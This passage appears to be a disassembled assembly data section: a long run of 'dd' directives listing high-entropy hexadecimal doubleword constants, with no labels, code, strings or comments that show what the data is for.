		dd 3AD32DC2h, 0CF31576Eh, 9DFC8695h, 43EEE726h,	0D7238733h
		dd 57FC2F00h, 41771C78h, 0C213B2EBh, 93F33082h,	6EF27394h
		dd 0BBC013B9h, 0D3387974h, 85B2F5A6h, 30DA2C7Bh, 761B4814h
		dd 9AE73B03h, 42F83E20h, 9E8BB8FEh, 7267A6A7h, 1AB7908Fh
		dd 0F67615Ch, 15C28DF0h, 4A5983D7h, 10426F78h, 9FD96BDEh
		dd 0C248FF76h, 2236A7CBh, 3055EDBAh, 3C3C5FABh,	0C443C152h
		dd 2D363ADFh, 87D2C22Ah, 406C5DF3h, 284A5CF6h, 0DAF50563h
		dd 639ACBD4h, 9C8F3735h, 64E1560Ch, 1DB50613h, 625D29B8h
		dd 8476D087h, 12AD5D46h, 0DD440D46h, 0EB59C35h,	0A73955B0h
		dd 0CB3BE599h, 0B3FEDAC0h, 8EA930DBh, 1213C26Bh, 9029481h
		dd 589F537Ah, 1B571E93h, 4C316A94h, 2E12D39Dh, 0E9D33253h
		dd 0BA53D4C7h, 438A0DEFh, 68F71409h, 7DB1B89Dh,	0A5FD0668h
		dd 40B2EB07h, 51290AA5h, 9C1B0736h, 93264926h, 636E6382h
		dd 8626CB04h, 0DE94E873h, 0C0E87AC7h, 0D5605FD1h, 35D9AD37h
		dd 0FDE075EAh, 98868BC0h, 2189E918h, 0BD4144B1h, 364D886Eh
		dd 9923B8A4h, 11DCE5E7h, 0D2219C1Ch, 43283641h,	0FE18E6FBh
		dd 0F96CF85Ch, 0F52A7DA3h, 961CF609h, 886D1092h, 295B56C4h
		dd 4666E0C3h, 0AE87D75Eh, 0A1DB5B77h, 8D99AC37h, 8CF44DDEh
		dd 0E998F0ADh, 0B085A822h, 87716DE3h, 0BC2E2605h, 32103F44h
		dd 412A22CFh, 0F88DF960h, 2DFD879Eh, 692A22DEh,	7A798DE0h
		dd 49A053AEh, 75BD66D6h, 0FCD52F11h, 4FD6DDFFh,	0E92AA714h
		dd 0AF93D3DDh, 0DC132AFCh, 4D1F0FFh, 0CB129EACh, 3FB880AFh
		dd 8EA1C402h, 0FA28144Fh, 2E5FEACCh, 4FFF437Ch,	2E84420Ah
		dd 0DD6797D3h, 6C3CBF3Dh, 3CB28E30h, 0F68CC1h, 0AB6360F6h
		dd 6E2C8A24h, 99FAA139h, 0ED5F147Fh, 335C1A07h,	3BE3C3D1h
		dd 9D871A8Dh, 2279AA80h, 483D5CA7h, 0C4ABAED1h,	0AFCC90C5h
		dd 8E31AB72h, 23DDC9B2h, 0EE25B187h, 0EAFE77FAh, 0DF75A787h
		dd 0CE670932h, 0A3F285F3h, 542DE52Ch, 0C6C93CBDh, 47EF200Ah
		dd 0C7C954CFh, 0D65A2FCAh, 0A89115BBh, 0B568D664h, 518D51CEh
		dd 0E7529003h, 8C07170h, 9255E6A2h, 24738AC5h, 0E4C32920h
		dd 0CA4D2C06h, 44064BABh, 5D8F3A8Ch, 1F16F9EDh,	0E032C8A9h
		dd 0BCF80CE8h, 0FA39B204h, 7D5C1F77h, 928F28C3h, 0B13DBC8Bh
		dd 0D0A73C43h, 0C1D1210Dh, 0A8247317h, 477C7584h, 7BA5E79Ch
		dd 0FC3E28F1h, 3815B205h, 69770E74h, 167A8053h,	7B75E77Fh
		dd 0D56F3D95h, 4E5A209Eh, 0C392D419h, 78EE6E21h, 6F44F5CDh
		dd 0A803C65Eh, 0E0F5D9D5h, 1F195401h, 0B4E2D362h, 286457A2h
		dd 196A5255h, 0F6C694E0h, 0C3DF7A66h, 34EB549Bh, 5B9BD771h
		dd 5DFD3EA1h, 0F342ED0Bh, 85643DB9h, 0BE7FAAACh, 5DFD03A3h
		dd 823CAE15h, 39E5FA60h, 1492DDB4h, 4DF55177h, 714F1A51h
		dd 0A3F2F196h, 7242594h, 0D87F89F5h, 0A9340283h, 0E34757B7h
		dd 0D3E29C30h, 9DB1F14Fh, 0E24D3A8Dh, 1D676512h, 0CC7B213Ah
		dd 0E3A3AE80h, 0DEE2D51Dh, 62C2F6B6h, 2B424121h, 172D08F7h
		dd 30F73599h, 0E67F40A1h, 0FA2CDBD7h, 35EB90A0h, 9830B423h
		dd 6790E58Bh, 41CE779Ch, 0E33B0364h, 155AFB6Dh,	0BAE0228Ah
		dd 7DBDAF37h, 0BA9E04EFh, 0B5EC2FB7h, 8EAC7831h, 5BEEFD9Ch
		dd 1C6D0163h, 1626323h,	36C56D9Dh, 13726393h, 28446EF7h
		dd 0A6229300h, 1A5C9FF7h, 0FF647810h, 0A7F2435Fh, 0EF2DD385h
		dd 7B789996h, 0CD83809Dh, 7B7791E3h, 0EE80C0AEh, 94D1E9EEh
		dd 0C14AC48Dh, 2F30CFA5h, 0BCF11430h, 0A47E710Dh, 0DB6F4381h
		dd 0D7C50C8Dh, 0B3DE3E51h, 8844F286h, 0FF2E7E1Bh, 142B0727h
		dd 4852F94Eh, 406C239Ah, 50F3AFBFh, 80BF052Bh, 0B81DAFD1h
		dd 0C747A02h, 9A8A9D87h, 0FC7F116Fh, 31E96B21h,	8E19E99Ch
		dd 5F97A193h, 0A554FF7h, 0B7292380h, 1250C737h,	0FBE9A4F0h
		dd 0A93355AFh, 0ECCC657Dh, 7A68DC6Ah, 0CD0BE2DFh, 0FB3B80C2h
		dd 0AEAEC83Eh, 0B4E0EC26h, 0D15346E9h, 27348E93h, 38F374ABh
		dd 627D61C6h, 3C6FCB63h, 60C4C87Bh, 45E1CA9h, 0A704C07Dh
		dd 0EC8E6699h, 9D9B1BE6h, 0C0AFFAEh, 6ED8256Ah,	4329AE47h
		dd 89A40557h, 0BC8B2FF3h, 8A3FBA13h, 0DDA83D8Fh, 0DB4EA16Bh
		dd 2670B327h, 195C559Fh
		dd 9835F790h, 0EDE650F7h, 8071B600h, 25E50077h,	0F4B38150h
		dd 0AA8864FFh, 0ED9AFDD5h, 7A3300BEh, 0CDBD4409h, 7BE03629h
		dd 6EBA11C9h, 54F5505Ch, 615890CAh, 0DF363181h,	94F2A123h
		dd 587CBE82h, 116E7EC5h, 0EAC49F28h, 0C1DE0102h, 41C4D629h
		dd 0DBEE61CFh, 2A8B1E4Dh, 0C382FEF9h, 8D8425C0h, 0F28FAE90h
		dd 711505BDh, 10D0AF18h, 700BFAE5h, 70BDDD75h, 6155B168h
		dd 0CBF63B25h, 0AB9F919Fh, 0A1555590h, 0C1F7E1F7h, 8AF86E80h
		dd 20393DB7h, 0F2559730h, 0AD997BCFh, 0EA91784Dh, 7DBF47F2h
		dd 0CAE0A5ABh, 0FC412678h, 290B99E1h, 73AD1448h, 76ECF2DCh
		dd 6860208Ah, 5349A9A4h, 0B72A3B40h, 0A2D5BCA6h, 13923E18h
		dd 0ED65B19Ah, 7B920EE5h, 0D6F5DC2Dh, 0FB7EC83Ch, 0A645CA97h
		dd 46757B50h, 92FBEEDAh, 7016D0E0h, 202E958Eh, 0E4E6A6B9h
		dd 227D8C4Ch, 0D8D966C9h, 4F758CB7h, 565CFF41h,	0B176C13Ah
		dd 0B3377FA3h, 8C4577C2h, 0D27D399Fh, 49F5641h,	0FF3A7BDEh
		dd 10B58CD2h, 59FF4521h, 3C82D628h, 0AEDA174Eh,	133579EFh
		dd 15CDA254h, 94AD5C9Bh, 0EDEBC715h, 0DE1CA97Dh, 954E2B68h
		dd 0CFD15596h, 9209B9F4h, 2A64AFCAh, 74B1E3C9h,	0ADD1339Bh
		dd 0D6B64013h, 0AA99205Eh, 4D03460Eh, 0D4C168BDh, 54C94886h
		dd 88C129F7h, 0BA3665ECh, 0C746E310h, 405760D2h, 0EAA0E281h
		dd 67F28B4Fh, 9894930Ah, 0C2E6906Eh, 5CE002E5h,	9F13A1CDh
		dd 74F1930Bh, 0BB44822Fh, 3EFCF956h, 3C09FB67h,	3DD31A11h
		dd 955306D7h, 0FC94AD9Ah, 0D5FF7350h, 0C8DEB624h, 9E240AF5h
		dd 0DFB830D2h, 0F86DC3C1h, 7C0898E3h, 0A8697F07h, 66FC28BEh
		dd 0B4DCDA99h, 0D4280068h, 97D8D95Eh, 819DD918h, 6DCD3484h
		dd 8DDCDFA6h, 907EC10Eh, 0A1444F4Eh, 0EFE13C05h, 5AF46908h
		dd 0BCBEC37Dh, 774A552h, 8BD75848h, 947F9A4Eh, 128FC7B3h
		dd 0E7B077F6h, 0DDED777Dh, 604391ABh, 0D6D6CC0h, 23E906BFh
		dd 16B66EE5h, 0CE28550Fh, 80D6B6FFh, 0D9773953h, 0A9F620BDh
		dd 5DDE1CA6h, 6CA187D6h, 0F1DF70CBh, 4282F2BCh,	68928839h
		dd 61CBBDA8h, 0E338C4Bh, 3576F9D9h, 0C699BACFh,	3EF7ADB1h
		dd 3DD91F23h, 31902512h, 65B7C2D3h, 152A4C67h, 20824DE5h
		dd 0DDE97EE6h, 2D5959A3h, 42E21D2Fh, 819BE1BFh,	0D5659E6Eh
		dd 0F1F0951Eh, 34C27FCh, 9F5690BAh, 0ECEF6B1Fh,	478ECFA6h
		dd 899ACCD3h, 0CBA37C99h, 1AFC3907h, 3921D8D1h,	9D5AE9A8h
		dd 0B14A1064h, 5E6B7A03h, 0E93F8C05h, 4BA4A04Dh, 0DABDF060h
		dd 0D7C9E551h, 0CEBD6178h, 39B65C9Ah, 4C6BF8EFh, 486652E2h
		dd 62078101h, 5D6CCC64h, 9D19DCE2h, 3CC37F13h, 6D661056h
		dd 0D8C9FC08h, 651E494Fh, 0F0BAD41Dh, 0AD637CCBh, 0AF2435EDh
		dd 0F9D7DC92h, 842953B1h, 0F8CC5517h, 2AA33270h, 93F310BFh
		dd 19AA75F5h, 0E782CF6Fh, 73B97609h, 15047AD7h,	0E0A729C7h
		dd 0DB84A61Ch, 373EAF6Dh, 143A9634h, 70D549ACh,	3FB0B07Fh
		dd 71A0E8EEh, 0C6E2466Dh, 0C21134Eh, 0F234B1B9h, 0EDE2C64Ah
		dd 2BE8AB07h, 4798DD6Dh, 3E402713h, 0DA97A99Bh,	0FB085272h
		dd 0B94D99E5h, 0FDD4F146h, 0A1B2BD7h, 0E15CAB6Fh, 9F8F3058h
		dd 0C9FBF37Eh, 0DE735F19h, 0C366405Ch, 0D3C9CCC3h, 8905A69Bh
		dd 513D865Fh, 0BE616D91h, 0BB813ADBh, 0E4BD2355h, 767F7856h
		dd 0A58035Dh, 0F8F2A45Ah, 0E255014Dh, 0F58B1902h, 0B736F0F4h
		dd 993A35E9h, 3F5648Fh,	0D2629329h, 481BE132h, 66818456h
		dd 2171EDDFh, 8E0576EFh, 3C419510h, 0B8A77A77h,	868F49CBh
		dd 4826B331h, 1AE83135h, 41E488C8h, 55D4E960h, 26EB5CB3h
		dd 95343DDFh, 8366D1DAh, 457BE9D7h, 1F503779h, 0E20B9281h
		dd 8F20202Dh, 62B8FEAEh, 0B1D6D4F3h, 260F180Eh,	0DEC25483h
		dd 703FD53Eh, 2A0A1E5Eh, 8E2FF7ABh, 0E0DEBC77h,	439D21Fh
		dd 58F1D7D0h, 503F824Ah, 82F44FFBh, 0F36711EEh,	0BEECA03Ch
		dd 63726A3Ch, 89409B74h, 12838D59h, 4D2019F9h, 9318BC97h
		dd 0D1825FB6h, 0B07E29ABh, 7AC7A9D5h, 580B467Eh, 1EF419ECh
		dd 0D7A77B7Dh, 837BF2E7h, 1E69AA9Ch, 4F867D27h,	6F2B36EBh
		dd 0C05A0C9Ch, 0AFD24B7Ah, 0DDF2BEDBh, 63862E86h, 99D295B6h
		dd 0C96A68C2h, 0C51A1EB2h, 0F20A7C3Eh, 0AAC3AB66h, 95884352h
		dd 47C67A6Ah, 9C221593h, 351FEF6Dh, 7C688EFEh, 9F68A73Eh
		dd 0D98E3F43h, 0F7505A4Bh, 7B407308h, 51A9F82Ah, 1642BE18h
		dd 90AA6114h, 325ED864h, 34C3F8A2h, 5AC239E3h, 8192A893h
		dd 18BAC9FAh, 6490F3B7h, 92535B87h, 0E3B1F1Fh, 9DF1C0C7h
		dd 467EB58Dh, 10AB782Ch, 99F911F2h, 28900301h, 96AC627Bh
		dd 0F9B03CCh, 30BB22F1h, 32CFCC86h, 0E57A99FBh,	1C87FCD6h
		dd 28C16212h, 2B2B960Fh, 1DA87019h, 0C3A70BCDh,	2313533Fh
		dd 2C0B5749h, 4469120Ah, 89C0C107h, 0A7CBC628h,	250DF7C1h
		dd 381EDE37h, 4F9EEEB0h, 0F1DABD3Ch, 232E1CBCh,	2B172C74h
		dd 9AAE671Ah, 0A2E735B1h, 1A328C33h, 0D136D26Eh, 7697E76Bh
		dd 0E7D301EFh, 58C4C40Bh, 7FB4796Fh, 0DF3456E9h, 279B9187h
		dd 0F3548BDEh, 858B50B6h, 8D41CD07h, 0BD69E0F5h, 1C7DF6E9h
		dd 0C6E47B36h, 0CA5C1D3Bh, 7F3B5266h, 0F6F3AE22h, 615624D2h
		dd 88F00C47h, 1850074Dh, 0A8D39399h, 659439BBh,	15F7A12Dh
		dd 2794AF13h, 0CED76AF9h, 0E4D06AE9h, 0C710F0Eh, 3A6E5A32h
		dd 7995073h, 9E511729h,	0EDB04225h, 82A23E4Eh, 20E045D4h
		dd 3D310C01h, 91278B84h, 0AD672F0Bh, 0B757E538h, 24C4FFD4h
		dd 63E28278h, 49551AD9h, 4402C6D2h, 5CD50F92h, 1E79B6B2h
		dd 0BB93E05Fh, 6844E1DCh, 0A86E7AA0h, 6591B91Ah, 0C4F3EFB1h
		dd 4F6E7AE2h, 2FCE04DAh, 570660C1h, 247D95EEh, 0D85DCAA3h
		dd 1D97D8ECh, 28DB9481h, 1399966h, 0D8B3C70Ah, 352A53FEh
		dd 8619D99Ah, 0D49A5123h, 0E20415BEh, 88DB459h,	0B3AD1683h
		dd 0C48A130Dh, 1D2B53EAh, 3CD0FE43h, 475E25Bh, 24ABD980h
		dd 0E294812Fh, 0E83115B9h, 7DF6CD0Eh, 7AF903ADh, 42205F55h
		dd 621B98D2h, 0E821DCFDh, 0D0DC1CC1h, 0BFEA39C1h, 51C7D97Bh
		dd 7F6FAC35h, 0E9DD7E0h, 0CB5E6BE3h, 956A7D05h,	12669323h
		dd 32238F5Bh, 1FF3E4CDh, 0ED076D3h, 0A22D6A9Ah,	7C8B2271h
		dd 29089272h, 63B7426Fh, 4D5D08E1h, 19DE693Dh, 5C470CD1h
		dd 0F67ECE10h, 918C6114h, 9ABA0720h, 3617EB97h,	1438AA1Ah
		dd 0ED7A8CF5h, 0E686FC33h, 4A533659h, 0C5B83A3Bh, 564C784Eh
		dd 2BF69D30h, 1C462720h, 0C4A1EECDh, 0A2E931A5h, 6AC10AA1h
		dd 6BCB3E51h, 96A37E70h, 0C89E9255h, 0CDBA5D1Ch, 20A24835h
		dd 0D557DA4Bh, 0AAB3F5F0h, 9BCFB988h, 0E2C8ECB4h, 0ED4C5D40h
		dd 0FF8332E0h, 4F1AC69Fh, 94FC947Fh, 60316986h,	2ED963B7h
		dd 9D93FDBh, 0E500A0E4h, 6F03FF2Fh, 3662CF6Ch, 0F8E7C77Dh
		dd 102A0FD0h, 915EF5Bh,	4F95208Eh, 2E81749Bh, 0E81D4185h
		dd 0D59734DEh, 81EC93D4h, 4F94266h, 9B200E52h, 14B88A0Ah
		dd 8547A37Bh, 0F5ACF304h, 0AC6E97F9h, 18414734h, 0D73396BFh
		dd 0AF280F15h, 0AC391CA1h, 0E96BA929h, 94F42995h, 0EAC3704Fh
		dd 0B5A9F9FBh, 0FE8D5A95h, 0FF4BBC3h, 976BB64Fh, 0E470D6BFh
		dd 80D8BBF5h, 0DA31E428h, 6C6B0AFAh, 215C8FE9h,	73D9A7D9h
		dd 0F02B9E32h, 0F291DA72h, 0CB865A28h, 7E0D635Eh, 0A06186C5h
		dd 8D808BA7h, 0A546C2F9h, 53CA38A5h, 7BFE7320h,	775D0FA5h
		dd 3574531h, 51A974ABh
		dd 0A3BA1239h, 62F0ABA7h, 0F4C9832Dh, 7E0E590Ah, 6673D176h
		dd 0DC81132Dh, 0F77AF61Ah, 832AD60Ch, 6F5F144Ch, 8223512Eh
		dd 0CD5FD95Bh, 0E6A368B4h, 0D80808Eh, 914C73Ah,	61C148A9h
		dd 2A6A35F0h, 6E709F53h, 0C12B1FD8h, 62B1FD48h,	3CB3BBB8h
		dd 4C622CFEh, 0E6BF2B2Ah, 801F9F2Ah, 53EE5A45h,	0FC2867E2h
		dd 42F64C73h, 9961A340h, 71B03441h, 40B72B74h, 0E5AA18D7h
		dd 80D9F009h, 0B65917Eh, 5B48DAD5h, 7ABAF919h, 0A9293D60h
		dd 2D86320Fh, 0C8D63775h, 773C9F10h, 0DCFF6274h, 0F0DCC8FBh
		dd 14E475Ch, 0E60716FBh, 0C0D346A1h, 64BC83E2h,	0F5FBE157h
		dd 0DF6D7AB6h, 0FB967A08h, 6C83F650h, 7A6F4516h, 856287EEh
		dd 0C02F25ACh, 791D45FBh, 0DAE22247h, 0B92F259Fh, 271D08B7h
		dd 6265BA37h, 0FD3D20C1h, 59D9AE9Ah, 256C0F7Ch,	695CC566h
		dd 9113C516h, 4F808857h, 5FD12E9Dh, 0D3E58462h,	1FAE63EAh
		dd 3801104Bh, 0BB35E21Ah, 917374FDh, 9A6ED92h, 81AEE459h
		dd 9DB97775h, 68DF23D9h, 808943C8h, 1D891E62h, 0F51ECF30h
		dd 12BED553h, 0C6217018h, 7D73A019h, 0BCD42F3Ah, 0A4D2255Bh
		dd 5B53ACBCh, 9754BB23h, 433BCA7Ah, 58099903h, 67A8762Ch
		dd 0B0D62741h, 11AC6FE9h, 7CE4ADC3h, 0F0A6Bh, 78B4EEFBh
		dd 0ADA24A38h, 19EE975Fh, 26D39A00h, 29A29D78h,	3FC2957Ah
		dd 7D9002A4h, 815949A8h, 32B3301Ch, 0E34C6A86h,	0F25BEE6Bh
		dd 0DC93A131h, 5B49612Fh, 496C662Bh, 52A4A962h,	0F134D7DBh
		dd 725738C9h, 0A39871DCh, 0EB6C8686h, 59190831h, 0A6B3CFF7h
		dd 38915B66h, 0E1B9F05Ch, 8D47084Dh, 2D10121Eh,	0E1D1A9E3h
		dd 9E1742AFh, 0BE8D0521h, 7A622C1Ah, 580414D6h,	0EBD924F1h
		dd 36D13001h, 8FAFA276h, 4E49BC09h, 0E2D64151h,	0FF5DB0B9h
		dd 7EC329ECh, 0A89CF67Dh, 0A84FD6A8h, 9D9FB688h, 0FF6AD1FBh
		dd 0E7D04B7Ah, 0F4ED6929h, 53486490h, 18B7C07Fh, 787DD683h
		dd 421579B6h, 72786B0Dh, 7506BF11h, 0EE6CE289h,	0BEFECB19h
		dd 6097F33Dh, 52ACAF56h, 8458D3CBh, 5991517Dh, 6BC03A06h
		dd 2379D53Ch, 3155E799h, 58398447h, 0E6645CBAh,	4ADF578Ah
		dd 540B0FE4h, 843A3ABDh, 0D73C3DEh, 0C794F515h,	7CD01FE0h
		dd 73637A08h, 0A13D8985h, 6DD84E28h, 648A7E8Ch,	0A5DD69CAh
		dd 0B540013h, 0D04F6169h, 8AEBA582h, 0A09EE73Dh, 6ADA6730h
		dd 0D7EDBA94h, 38CCC18Eh, 1A8326A2h, 0C16DAADFh, 6FEEF10h
		dd 0E93F02DEh, 75FC8BC0h, 87BD4BACh, 0DEAE40CDh, 5017917Eh
		dd 49C91B6Eh, 0A8BD18E5h, 174008D0h, 335F10C2h,	0EF062301h
		dd 718B6CB9h, 0C40DF97h, 0D1DC774Ah, 8971F0D9h,	0E112E3EBh
		dd 0BC21702h, 0F767685Ah, 0E76E10DFh, 4828024Dh, 0CC50A151h
		dd 0EC49E64Fh, 94334669h, 149B36Ch, 0D544078Dh,	0D24C2E7Eh
		dd 0FAF710ADh, 0E9CF96D2h, 799D8AFBh, 0FDD5C8A9h, 9DEB43DEh
		dd 21E2E132h, 82E16BEFh, 0BC7C05E3h, 0C0A7CF6Dh, 1B5CB458h
		dd 6D3635EBh, 92026853h, 7D7CF159h, 0CC29F3C4h,	519C210Dh
		dd 0C6C099Ch, 886EB239h, 0B085E479h, 9DFDD9F7h,	0B89111ECh
		dd 0D20E317Dh, 2F44E9C8h, 3341E0F7h, 0F4197AE2h, 0A6765C5Fh
		dd 0EA4DD95Eh, 0B5F81939h, 0AD09043Dh, 251F91CFh, 253945B1h
		dd 3D25075Dh, 1C47C20h,	0BE233A65h, 0BF0723FAh,	49C8EB6Eh
		dd 5EEC413Ch, 500AC846h, 0B4E5F519h, 91246B9Eh,	89BA1D76h
		dd 7D1E43A9h, 1C67AD3Dh, 0EE9A2803h, 0AC0FD416h, 0EC1C822h
		dd 0FB3E5093h, 121B5378h, 0EF66EBD4h, 26F065CEh, 0AC7C4AF8h
		dd 0D5A565E3h, 0A3DAF459h, 1A6F61EFh, 31D7032Dh, 0D3B5125h
		dd 9D889335h, 8B3C8B3Bh, 0CDAB54D5h, 0F4872A81h, 96D71035h
		dd 0C6895C62h, 0EB3B807Bh, 0CF05424Ch, 25ABF653h, 0D81CC401h
		dd 9090046Ch, 67AFE137h, 37978983h, 2A1B38B3h, 7F1A63FBh
		dd 0C0F0120h, 6B9633C8h, 93E9E9Ch, 0F687654Ah, 1F794EA4h
		dd 60D9337Eh, 0A0D04916h, 0E1F39DEh, 13CEE7Ch, 3F4CC439h
		dd 4877B141h, 6E9F43FCh, 0BB93DA8Bh, 42B742A6h,	3BC01B4Eh
		dd 367D2EEh, 0EE9A1EE3h, 82C43BDh, 0BA7EB694h, 217BA1CBh
		dd 1BE0529Fh, 0FD693A19h, 0A36B158Bh, 0DA88ABBAh, 0E763A8h
		dd 0BD49078Ch, 0A7C13444h, 57289C71h, 0D9F7FC84h, 784A1B5Bh
		dd 0F23FFCFBh, 907EED2Dh, 1EC9A543h, 3BA885E1h,	3C880487h
		dd 1F92DA5Dh, 953BFBBh,	55BD7D2Ch, 0B97F298Ch, 0F0A987B3h
		dd 0F5BAFF2Bh, 6E7AE186h, 3C6B4E50h, 0EBFFD991h, 44E47030h
		dd 9205882Ah, 2A8F4F99h, 0A6EFD7D6h, 0D3F02A6Bh, 0ADA1AE3h
		dd 8A473AD7h, 7F6BAE0Ch, 1EB7512h, 56597A14h, 9435B246h
		dd 90D7C0BEh, 0BA79B3D6h, 721D7A5h, 9ECBD180h, 4E35EADAh
		dd 401447Ch, 142F3135h,	0AC0D9630h, 8C8F4833h, 0CA7F3A7Bh
		dd 0C7C34005h, 5B61048h, 6867C9A1h, 8D149640h, 126D14C3h
		dd 7E5BBA93h, 0B28A43E8h, 0AC27AC9h, 9C687CDAh,	912ADE7Ah
		dd 0E98A4633h, 0CDDFC0E7h, 0BE53E65Ch, 95CECA94h, 2EC15ED6h
		dd 17D71BBBh, 0F09099EEh, 51935408h, 0ADC8DF4Bh, 56CD39Fh
		dd 3AD02C4Ah, 7E6D80DFh, 57EC8D76h, 0C7DD8D0h, 94867439h
		dd 75E7DEA3h, 56DF11DEh, 77344BD0h, 5E7394BAh, 7D2E3BD8h
		dd 0A063E540h, 0E736B555h, 9E949C07h, 0AA3C4A43h, 4E439F2Ah
		dd 3DF5AA1h, 89B389B8h,	50C319B3h, 0E033DB6Ah, 58A6B638h
		dd 1D27DFF0h, 9D00BE3h,	5707894Fh, 0F5C18AFFh, 503087D9h
		dd 19872BEEh, 0ED8F8A0Ch, 0D009ABFDh, 4E10644Ch, 0E6C88E32h
		dd 0BC6B63FBh, 553CC39Fh, 41AC7C67h, 238CF2CDh,	23F362B8h
		dd 2AE3F562h, 295187E3h, 50E50A06h, 888E29B6h, 9590B962h
		dd 2F6A22FFh, 33CBD6E0h, 0BD515EF8h, 18820B82h,	2C28D818h
		dd 33F7574Dh, 12CB832h,	64C05375h, 270A1179h, 16BEA3D8h
		dd 42E92561h, 58B8ABDh,	0D86B5EF2h, 0DDDD35E6h,	691893ECh
		dd 0B49647ABh, 0E4A42F83h, 82E6774Ah, 9B0CC0ECh, 6CF672A2h
		dd 68654425h, 3E234199h, 0EC553478h, 0B1CB5911h, 1955129Fh
		dd 769CEE64h, 3321ADF6h, 861E43C7h, 64638058h, 30C671ABh
		dd 8BFC7B45h, 2EF7E675h, 0CD0CE4F1h, 9DE9A6A8h,	0F058D4E1h
		dd 80D1C2DDh, 521AB2CFh, 6A5AFE3Bh, 6C855105h, 0BFAF6047h
		dd 71767622h, 0E14AC5CDh, 0F19F9915h, 0AA4FB740h, 0B4454576h
		dd 8D0A871Ah, 0E0DF3EC2h, 0B480CF33h, 9EF37984h, 0E81F58F6h
		dd 13F3C528h, 0F826F723h, 66A9172Eh, 85EF813Dh,	0DBE77C8Bh
		dd 1EB03F9Ch, 803A3698h, 76B4DEF5h, 4F61FBF7h, 48606E92h
		dd 0C6CC63B0h, 2950AD23h, 0D4FA5DC6h, 6BBC9632h, 0F83DC4AEh
		dd 2412D0BDh, 5A361C74h, 0F391306Ah, 0A329CD24h, 21708EACh
		dd 3198B2D0h, 6491961Eh, 69510A1Ch, 0E232B2DEh,	396D0BF4h
		dd 0B5A19A71h, 312A15EFh, 69278C9Ah, 0CF42DFE0h, 0ED7936BDh
		dd 0D36035C4h, 0E4224FE8h, 0F5F0B965h, 15466E26h, 6DAFB37Ah
		dd 92B60892h, 0C3282FBBh, 0D660AD7Ah, 0A5E854DFh, 5A47003Ah
		dd 6D3ABA46h, 9EAF136Ch, 0EB902D21h, 0A4BF9D96h, 49EF4AD7h
		dd 0A2E747BEh, 0C3DB8AB3h, 36DB916Ah, 0C7EF3F2Dh, 344F7306h
		dd 0B3D80E06h, 0E157411Ah, 785A38BFh, 707E2EC5h, 85DEE9F3h
		dd 95257B75h, 749A2C70h, 0EB533B69h, 0B5642056h, 33297B26h
		dd 0C44F06E0h, 24069777h, 0A265DCC3h, 45715BFDh, 0B4F83F2Ah
		dd 9A817634h, 840FEB74h, 187E1FDBh, 6F340C06h, 0F7323159h
		dd 2BE8275Bh, 0BF5473CAh
		dd 5608EA5Ah, 3D26763Eh, 6ED5ECCh, 21600700h, 6B464D42h
		dd 71DA6F27h, 0BC1A0D91h, 0B0C6E094h, 86F7B7E5h, 0EDFFE931h
		dd 1C7CB744h, 9AFA77B8h, 0E89E2015h, 431A3DECh,	0E6F718DFh
		dd 0C1817945h, 0E69BCC34h, 7F590725h, 3E90F400h, 75269BB4h
		dd 0BAE5467Ah, 0F2404EE1h, 0D4AA6C6Ah, 0D21414C1h, 0B7ED4CC0h
		dd 0D601E201h, 0C2D1CDCh, 0BA4F1005h, 5FA8FEEDh, 95D12531h
		dd 7552CC4Ah, 0FB6310E0h, 0F56E766h, 87EAE5FEh,	0BEAAA07Eh
		dd 0F0603A0Fh, 8428CB31h, 0C249B834h, 0F1734BF2h, 0A39F61B3h
		dd 6C095AF1h, 0C9D76D75h, 8BDC67E1h, 0BAC45830h, 5EA0C1CEh
		dd 6FDE83D2h, 0ED108CB7h, 35A6C18Fh, 0D528350Eh, 9AF7D726h
		dd 78A38F75h, 0CE9BD702h, 0ADCDE548h, 0E11EA9FDh, 1FA630Dh
		dd 39E31230h, 0D07396ECh, 0DF91EACBh, 0BEBD5335h, 0FDF329FCh
		dd 0F3855100h, 0C5B09F26h, 13CF81F7h, 80FFB475h, 0B51358C2h
		dd 6478B8AFh, 46F34EE8h, 4E378EBEh, 2EB4DBD1h, 344DBA5Eh
		dd 49784CAFh, 0D7CC759Fh, 0C2EBD263h, 0AE0946BBh, 1BC279F6h
		dd 9A709C60h, 0A0C715Ch, 0FC2F735Dh, 0A719C09Eh, 852B025Ch
		dd 0A4A370D9h, 19A96916h, 7A850A97h, 1607928Ch,	342427B8h
		dd 0A5377EF4h, 0AAA5F522h, 82E14AAAh, 7464A992h, 709B08F4h
		dd 4F7CB7EEh, 0CA0D24AFh, 56295C93h, 5308B1F4h,	0E6F7CF98h
		dd 3E2FCCE5h, 2969D0ABh, 0B6AF739Ah, 0BC6A4FF9h, 0C0831E44h
		dd 0BD1C409Eh, 0A1B03418h, 3E7B8C3Ah, 0FFDDF7AFh, 0CFA5FC93h
		dd 46A33D7Dh, 0BB8D83E3h, 2720D7E2h, 99A9F0C4h,	0C3368100h
		dd 303FE8E4h, 8D26A3F6h, 385ABCF6h, 55DC7577h, 304A40A8h
		dd 2250AC14h, 61F0878Eh, 41AA387h, 0D3706D6Ch, 9FFF50F7h
		dd 0F709997Ah, 0F3049619h, 0DB85A02Bh, 0DFB3AC1Ch, 830FA859h
		dd 54C85804h, 6FA01A12h, 0CEC9ADC8h, 1E8823F4h,	6553388Ah
		dd 1B370EEFh, 7F8F1D01h, 5F7B1EF7h, 3BEBA0CAh, 0F15FCED1h
		dd 0C49551A5h, 0D99B7406h, 689AE686h, 0E6E7294Ch, 90D43519h
		dd 0D980EF73h, 0B87959CAh, 74C33989h, 8B673610h, 9278E989h
		dd 10914DE4h, 272332C0h, 0BD055197h, 0DA34EB60h, 58AEAAE7h
		dd 6EE9BCD3h, 0F07F5D71h, 65589A5Dh, 74E633D7h,	212819A2h
		dd 287B04E0h, 17C1B936h, 0B95672BCh, 0C4639BB6h, 4230B91Ch
		dd 537E20CCh, 78E9F07Ch, 2D0BDFD4h, 0E4064B3Ch,	0EDC8E24Fh
		dd 0C5FA7CF0h, 0F836A52h, 88F3C8BEh, 4AB50910h,	738E9FA4h
		dd 75A36C13h, 0A205E410h, 3DAC34D9h, 0A79F41Eh,	0B5FB0BAh
		dd 2566A1F7h, 4588712Eh, 45CDD66Bh, 815AB6DBh, 77A3750h
		dd 9B8AB27Bh, 4DF310E2h, 8C53FF11h, 0BCC5E894h,	3ED92070h
		dd 4F2A42BDh, 33CE6952h, 96733AEEh, 4636725Ah, 0F9192B80h
		dd 0CEA1FCD0h, 2886E89Ah, 2351737Ah, 75F32619h,	3E6F8E26h
		dd 500FF91Eh, 0CA3A4990h, 0D3E1CA60h, 0BAF3064h, 0B454693h
